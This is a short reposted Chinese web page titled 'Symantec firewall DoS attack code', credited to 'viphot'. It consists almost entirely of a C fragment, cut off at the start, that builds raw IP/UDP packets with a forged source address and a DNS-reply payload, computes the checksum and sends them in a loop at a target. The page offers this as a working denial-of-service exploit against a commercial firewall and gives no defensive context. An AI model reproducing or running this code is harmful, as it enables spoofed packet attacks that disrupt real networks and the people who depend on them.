赛门铁客防火墙D.o.s攻击代码

iIPSize;
ipHdr.ip_tos = 0; /* IP type of service */
ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */
ipHdr.ip_id = 0; /* Unique identifier: set to 0 */
ipHdr.ip_offset = 0; /* Fragment offset field */
ipHdr.ip_ttl = 128; /* Time to live */
ipHdr.ip_protocol = 0x11; /* Protocol(UDP) */
ipHdr.ip_checksum = 0 ; /* IP checksum */
ipHdr.ip_srcaddr = dwFromIP; /* Source address */
ipHdr.ip_destaddr = dwToIP; /* Destination address */

/* Initalize the UDP header */
iUdpSize = sizeof(udpHdr) + sizeof(dnsreply)-1;

udpHdr.src_portno = htons(iFromPort) ;
udpHdr.dst_portno = htons(iToPort) ;
udpHdr.udp_length = htons(iUdpSize) ;
udpHdr.udp_checksum = 0 ;


iUdpChecksumSize = 0;
ptr = buf;
memset(buf, 0, MAX_PACKET);

memcpy(ptr, &ipHdr.ip_srcaddr, sizeof(ipHdr.ip_srcaddr));
ptr += sizeof(ipHdr.ip_srcaddr);
iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);

memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr));
ptr += sizeof(ipHdr.ip_destaddr);
iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);

ptr++;
iUdpChecksumSize += 1;

memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol));
ptr += sizeof(ipHdr.ip_protocol);
iUdpChecksumSize += sizeof(ipHdr.ip_protocol);

memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length));
ptr += sizeof(udpHdr.udp_length);
iUdpChecksumSize += sizeof(udpHdr.udp_length);

memcpy(ptr, &udpHdr, sizeof(udpHdr));
ptr += sizeof(udpHdr);
iUdpChecksumSize += sizeof(udpHdr);

for(i = 0; i < sizeof(dnsreply)-1; i++, ptr++)
*ptr = strMessage[i];
iUdpChecksumSize += sizeof(dnsreply)-1;

cksum = checksum((unsigned short *)buf, iUdpChecksumSize);
udpHdr.udp_checksum = cksum;


memset(buf, 0, MAX_PACKET);
ptr = buf;

memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr);
memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);
memcpy(ptr, strMessage, sizeof(dnsreply)-1);

remote.sin_family = AF_INET;
remote.sin_port = htons(iToPort);
remote.sin_addr.s_addr = dwToIP;

for(i = 0; i < dwCount; i++) {
#ifdef _WIN32
ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
sizeof(remote));

if (ret == SOCKET_ERROR) {
printf("[-] sendto() failed: %d\n", WSAGetLastError());
break;
} else
#else
ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
sizeof(remote));
#endif
printf("[+] sent %d bytes\n", ret);
}

#ifdef _WIN32
closesocket(s);
WSACleanup();
#endif

return 0;
}
（出处：viphot）

关键词：赛门铁客防火墙D.o.s攻击代码